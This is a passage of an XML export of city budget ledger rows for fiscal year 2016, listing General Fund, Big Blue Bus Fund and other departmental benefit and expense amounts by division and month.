<row _id="19595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1382</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1382</total></row>
<row _id="19596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3513</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3513</total></row>
<row _id="19598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2816</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2816</total></row>
<row _id="19599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1833</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1833</total></row>
<row _id="19600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1170</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1170</total></row>
<row _id="19601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4760</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4760</total></row>
<row _id="19602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2156</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2156</total></row>
<row _id="19603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2039</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2039</total></row>
<row _id="19604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1510</total></row>
<row _id="19605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17309</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17309</total></row>
<row _id="19606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1163</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1163</total></row>
<row _id="19607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7787</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7787</total></row>
<row _id="19608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>480593</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>480593</total></row>
<row _id="19609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5521630</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5521630</total></row>
<row _id="19610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>153302</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>153302</total></row>
<row _id="19611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3678971</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3678971</total></row>
<row _id="19612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544870.0</object><object_description>PARKING CITATION COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4875</total></row>
<row _id="19614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-220000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-220000</total></row>
<row _id="19615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3334</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3334</total></row>
<row _id="19616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19451</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19451</total></row>
<row _id="19617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8713</total></row>
<row _id="19618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10911</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10911</total></row>
<row _id="19619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>52780</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52780</total></row>
<row _id="19620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15991</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15991</total></row>
<row _id="19621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2226</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2226</total></row>
<row _id="19622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5164</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5164</total></row>
<row _id="19623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11377</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11377</total></row>
<row _id="19624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>55140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55140</total></row>
<row _id="19625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13122</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13122</total></row>
<row _id="19626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39662</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39662</total></row>
<row _id="19627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7762</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7762</total></row>
<row _id="19628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>393</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>393</total></row>
<row _id="19629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8699</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8699</total></row>
<row _id="19630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2307</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2307</total></row>
<row _id="19631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3193</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3193</total></row>
<row _id="19632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>45973</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45973</total></row>
<row _id="19633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>45201</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45201</total></row>
<row _id="19634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>222718</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>222718</total></row>
<row _id="19635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>34213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>34213</total></row>
<row _id="19636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>90068</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>90068</total></row>
<row _id="19637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9729</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9729</total></row>
<row _id="19638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18591</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18591</total></row>
<row _id="19639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4159</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4159</total></row>
<row _id="19640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>47340</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47340</total></row>
<row _id="19641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>993</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>993</total></row>
<row _id="19642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1031</total></row>
<row _id="19643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3291</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3291</total></row>
<row _id="19644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16158</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16158</total></row>
